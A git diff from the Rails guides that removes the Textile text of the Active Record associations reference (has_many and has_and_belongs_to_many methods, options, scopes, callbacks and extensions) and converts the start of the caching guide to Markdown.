-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
-
-<ruby>
-@customer.orders << @order1
-</ruby>
-
-h6(#has_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
-
-<ruby>
-@customer.orders.delete(@order1)
-</ruby>
-
-WARNING: Additionally, objects will be destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
-
-
-h6(#has_many-collection-equal). <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6(#has_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@order_ids = @customer.order_ids
-</ruby>
-
-h6(#has_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
-
-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6(#has_many-collection-clear). <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
-
-h6(#has_many-collection-empty). <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @customer.orders.empty? %>
- No Orders Found
-<% end %>
-</ruby>
-
-h6(#has_many-collection-size). <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@order_count = @customer.orders.size
-</ruby>
-
-h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt>
-
-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
-
-<ruby>
-@open_orders = @customer.orders.find(1)
-</ruby>
-
-h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt>
-
-The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
-
-<ruby>
-@open_orders = @customer.orders.where(:open => true) # No query yet
-@open_order = @open_orders.first # Now the database will be queried
-</ruby>
-
-h6(#has_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
-
-The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6(#has_many-collection-build). <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-
-The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
-
-<ruby>
-@order = @customer.orders.build(:order_date => Time.now,
- :order_number => "A12345")
-</ruby>
-
-h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now,
- :order_number => "A12345")
-</ruby>
-
-h5. Options for +has_many+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :dependent => :delete_all, :validate => :false
-end
-</ruby>
-
-The +has_many+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:dependent+
-* +:foreign_key+
-* +:inverse_of+
-* +:primary_key+
-* +:source+
-* +:source_type+
-* +:through+
-* +:validate+
-
-h6(#has_many-as). +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#has_many-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_many-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :class_name => "Transaction"
-end
-</ruby>
-
-h6(#has_many-dependent). +:dependent+
-
-Controls what happens to the associated objects when their owner is destroyed:
-
-* +:destroy+ causes all the associated objects to also be destroyed
-* +:delete_all+ causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute)
-* +:nullify+ causes the foreign keys to be set to +NULL+. Callbacks are not executed.
-* +:restrict_with_exception+ causes an exception to be raised if there are any associated records
-* +:restrict_with_error+ causes an error to be added to the owner if there are any associated objects
-
-NOTE: This option is ignored when you use the +:through+ option on the association.
-
-h6(#has_many-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :foreign_key => "cust_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#has_many-inverse_of). +:inverse_of+
-
-The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :inverse_of => :customer
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer, :inverse_of => :orders
-end
-</ruby>
-
-h6(#has_many-primary_key). +:primary_key+
-
-By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6(#has_many-source). +:source+
-
-The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
-
-h6(#has_many-source_type). +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
-
-h6(#has_many-through). +:through+
-
-The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has_many-through-association">earlier in this guide</a>.
-
-h6(#has_many-validate). +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5(#has_many-scopes_for_has_many). Scopes for +has_many+
-
-There may be times when you wish to customize the query used by +has_many+. Such customizations can be achieved via a scope block. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, -> { where :processed => true }
-end
-</ruby>
-
-You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
-
-* +where+
-* +extending+
-* +group+
-* +includes+
-* +limit+
-* +offset+
-* +order+
-* +readonly+
-* +select+
-* +uniq+
-
-h6(#has_many-where). +where+
-
-The +where+ method lets you specify the conditions that the associated object must meet.
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :confirmed_orders, -> { where "confirmed = 1" },
- :class_name => "Order"
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :confirmed_orders, -> { where :confirmed => true },
- :class_name => "Order"
-end
-</ruby>
-
-If you use a hash-style +where+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
-
-h6(#has_many-extending). +extending+
-
-The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6(#has_many-group). +group+
-
-The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :line_items, -> { group 'orders.id' },
- :through => :orders
-end
-</ruby>
-
-h6(#has_many-includes). +includes+
-
-You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
- belongs_to :order
-end
-</ruby>
-
-If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, -> { includes :line_items }
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
- belongs_to :order
-end
-</ruby>
-
-h6(#has_many-limit). +limit+
-
-The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :recent_orders,
- -> { order('order_date desc').limit(100) },
- :class_name => "Order",
-end
-</ruby>
-
-h6(#has_many-offset). +offset+
-
-The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, +-> { offset(11) }+ will skip the first 11 records.
-
-h6(#has_many-order). +order+
-
-The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, -> { order "date_confirmed DESC" }
-end
-</ruby>
-
-h6(#has_many-readonly). +readonly+
-
-If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association.
-
-h6(#has_many-select). +select+
-
-The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-WARNING: If you specify your own +select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-
-h6(#has_many-uniq). +uniq+
-
-Use the +uniq+ method to keep the collection free of duplicates. This is mostly useful together with the +:through+ option.
-
-<ruby>
-class Person < ActiveRecord::Base
- has_many :readings
- has_many :posts, :through => :readings
-end
-
-person = Person.create(:name => 'john')
-post = Post.create(:name => 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
-Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
-</ruby>
-
-In the above case there are two readings and +person.posts+ brings out both of them even though these records are pointing to the same post.
-
-Now let's set +uniq+:
-
-<ruby>
-class Person
- has_many :readings
- has_many :posts, -> { uniq }, :through => :readings
-end
-
-person = Person.create(:name => 'honda')
-post = Post.create(:name => 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 7, name: "a1">]
-Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
-</ruby>
-
-In the above case there are still two readings. However +person.posts+ shows only one post because the collection loads only unique records.
-
-h5(#has_many-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. +has_and_belongs_to_many+ Association Reference
-
-The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
-
-h5. Methods Added by +has_and_belongs_to_many+
-
-When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.where(...)</tt>
-* <tt><em>collection</em>.exists?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {})</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol. For example, given the declaration:
-
-<ruby>
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-Each instance of the part model will have these methods:
-
-<ruby>
-assemblies(force_reload = false)
-assemblies<<(object, ...)
-assemblies.delete(object, ...)
-assemblies=objects
-assembly_ids
-assembly_ids=ids
-assemblies.clear
-assemblies.empty?
-assemblies.size
-assemblies.find(...)
-assemblies.where(...)
-assemblies.exists?(...)
-assemblies.build(attributes = {}, ...)
-assemblies.create(attributes = {})
-</ruby>
-
-h6. Additional Column Methods
-
-If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
-
-WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
-
-
-h6(#has_and_belongs_to_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@assemblies = @part.assemblies
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
-
-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
-
-<ruby>
-@part.assemblies << @assembly1
-</ruby>
-
-NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
-
-h6(#has_and_belongs_to_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
-
-<ruby>
-@part.assemblies.delete(@assembly1)
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-equal). <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6(#has_and_belongs_to_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@assembly_ids = @part.assembly_ids
-</ruby>
-
-h6(#has_and_belongs_to_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
-
-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6(#has_and_belongs_to_many-collection-clear). <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
-
-h6(#has_and_belongs_to_many-collection-empty). <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @part.assemblies.empty? %>
- This part is not used in any assemblies
-<% end %>
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-size). <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@assembly_count = @part.assemblies.size
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)</tt>
-
-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
-
-<ruby>
-@assembly = @part.assemblies.find(1)
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt>
-
-The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
-
-<ruby>
-@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
-
-The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6(#has_and_belongs_to_many-collection-build). <tt><em>collection</em>.build(attributes = {})</tt>
-
-The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
-
-<ruby>
-@assembly = @part.assemblies.build(
- {:assembly_name => "Transmission housing"})
-</ruby>
-
-h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@assembly = @part.assemblies.create(
- {:assembly_name => "Transmission housing"})
-</ruby>
-
-h5. Options for +has_and_belongs_to_many+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :uniq => true,
- :read_only => true
-end
-</ruby>
-
-The +has_and_belongs_to_many+ association supports these options:
-
-* +:association_foreign_key+
-* +:autosave+
-* +:class_name+
-* +:foreign_key+
-* +:join_table+
-* +:validate+
-
-h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+
-
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
-
-TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
-
-<ruby>
-class User < ActiveRecord::Base
- has_and_belongs_to_many :friends, :class_name => "User",
- :foreign_key => "this_user_id",
- :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_and_belongs_to_many-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :class_name => "Gadget"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class User < ActiveRecord::Base
- has_and_belongs_to_many :friends, :class_name => "User",
- :foreign_key => "this_user_id",
- :association_foreign_key => "other_user_id"
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-join_table). +:join_table+
-
-If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
-
-h6(#has_and_belongs_to_many-validate). +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5(#has_and_belongs_to_many-scopes_for_has_and_belongs_to_many). Scopes for +has_and_belongs_to_many+
-
-There may be times when you wish to customize the query used by +has_and_belongs_to_many+. Such customizations can be achieved via a scope block. For example:
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, -> { where :active => true }
-end
-</ruby>
-
-You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
-
-* +where+
-* +extending+
-* +group+
-* +includes+
-* +limit+
-* +offset+
-* +order+
-* +readonly+
-* +select+
-* +uniq+
-
-h6(#has_and_belongs_to_many-where). +where+
-
-The +where+ method lets you specify the conditions that the associated object must meet.
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies,
- -> { where "factory = 'Seattle'" }
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies,
- -> { where :factory => 'Seattle' }
-end
-</ruby>
-
-If you use a hash-style +where+, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
-
-h6(#has_and_belongs_to_many-extending). +extending+
-
-The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6(#has_and_belongs_to_many-group). +group+
-
-The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, -> { group "factory" }
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-includes). +includes+
-
-You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used.
-
-h6(#has_and_belongs_to_many-limit). +limit+
-
-The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies,
- -> { order("created_at DESC").limit(50) }
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-offset). +offset+
-
-The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, if you set +offset(11)+, it will skip the first 11 records.
-
-h6(#has_and_belongs_to_many-order). +order+
-
-The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-
-<ruby>
-class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies,
- -> { order "assembly_name ASC" }
-end
-</ruby>
-
-h6(#has_and_belongs_to_many-readonly). +readonly+
-
-If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association.
-
-h6(#has_and_belongs_to_many-select). +select+
-
-The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-h6(#has_and_belongs_to_many-uniq). +uniq+
-
-Use the +uniq+ method to remove duplicates from the collection.
-
-h5(#has_and_belongs_to_many-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. Association Callbacks
-
-Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
-
-Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
-
-* +before_add+
-* +after_add+
-* +before_remove+
-* +after_remove+
-
-You define association callbacks by adding options to the association declaration. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :before_add => :check_credit_limit
-
- def check_credit_limit(order)
- ...
- end
-end
-</ruby>
-
-Rails passes the object being added or removed to the callback.
-
-You can stack callbacks on a single event by passing them as an array:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders,
- :before_add => [:check_credit_limit, :calculate_shipping_charges]
-
- def check_credit_limit(order)
- ...
- end
-
- def calculate_shipping_charges(order)
- ...
- end
-end
-</ruby>
-
-If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
-
-h4. Association Extensions
-
-You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders do
- def find_by_order_prefix(order_number)
- find_by_region_id(order_number[0..2])
- end
- end
-end
-</ruby>
-
-If you have an extension that should be shared by many associations, you can use a named extension module. For example:
-
-<ruby>
-module FindRecentExtension
- def find_recent
- where("created_at > ?", 5.days.ago)
- end
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders, -> { extending FindRecentExtension }
-end
-
-class Supplier < ActiveRecord::Base
- has_many :deliveries, -> { extending FindRecentExtension }
-end
-</ruby>
-
-Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor:
-
-* +proxy_association.owner+ returns the object that the association is a part of.
-* +proxy_association.reflection+ returns the reflection object that describes the association.
-* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
diff --git a/guides/source/caching_with_rails.textile b/guides/source/caching_with_rails.md
index 815b2ef9c2..ce1a01d313 100644
--- a/guides/source/caching_with_rails.textile
+++ b/guides/source/caching_with_rails.md
@@ -1,4 +1,5 @@
-h2. Caching with Rails: An overview
+Caching with Rails: An overview
+===============================
This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
@@ -9,25 +10,26 @@ After reading this guide, you should be able to use and configure:
* Alternative cache stores
* Conditional GET support
-endprologue.
+--------------------------------------------------------------------------------
-h3. Basic Caching
+Basic Caching
+-------------
This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins.
-To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production.
+To start playing with caching you'll want to ensure that `config.action_controller.perform_caching` is set to `true`, if you're running in development mode. This flag is normally set in the corresponding `config/environments/*.rb` and caching is disabled by default for development and test, and enabled for production.
-<ruby>
+```ruby
config.action_controller.perform_caching = true
-</ruby>
+```
-h4. Page Caching
+### Page Caching
Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
-To enable page caching, you need to use the +caches_page+ method.
+To enable page caching, you need to use the `caches_page` method.
-<ruby>
+```ruby
class ProductsController < ActionController
caches_page :index
@@ -36,17 +38,17 @@ class ProductsController < ActionController
@products = Product.all
end
end
-</ruby>
+```
-Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application.
+Let's say you have a controller called `ProductsController` and an `index` action that lists all the products. The first time anyone requests `/products`, Rails will generate a file called `products.html` and the webserver will then look for that file before it passes the next request for `/products` to your Rails application.
-By default, the page cache directory is set to +Rails.public_path+ (which is usually set to the +public+ folder) and this can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from +public+ helps avoid naming conflicts, since you may want to put other static html in +public+, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.
+By default, the page cache directory is set to `Rails.public_path` (which is usually set to the `public` folder) and this can be configured by changing the configuration setting `config.action_controller.page_cache_directory`. Changing the default from `public` helps avoid naming conflicts, since you may want to put other static html in `public`, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.
-The Page Caching mechanism will automatically add a +.html+ extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting +config.action_controller.page_cache_extension+.
+The Page Caching mechanism will automatically add a `.html` extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting `config.action_controller.page_cache_extension`.
In order to expire this page when a new product is added we could extend our example controller like this:
-<ruby>
+```ruby
class ProductsController < ActionController
caches_page :index
@@ -60,45 +62,45 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.
-By default, page caching automatically gzips files (for example, to +products.html.gz+ if user requests +/products+) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum).
+By default, page caching automatically gzips files (for example, to `products.html.gz` if user requests `/products`) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum).
-Nginx is able to serve compressed content directly from disk by enabling +gzip_static+:
+Nginx is able to serve compressed content directly from disk by enabling `gzip_static`:
-<plain>
+```nginx
location / {
gzip_static on; # to serve pre-gzipped version
}
-</plain>
+```
-You can disable gzipping by setting +:gzip+ option to false (for example, if action returns image):
+You can disable gzipping by setting `:gzip` option to false (for example, if action returns image):
-<ruby>
+```ruby
caches_page :image, :gzip => false
-</ruby>
+```
-Or, you can set custom gzip compression level (level names are taken from +Zlib+ constants):
+Or, you can set custom gzip compression level (level names are taken from `Zlib` constants):
-<ruby>
+```ruby
caches_page :image, :gzip => :best_speed
-</ruby>
+```
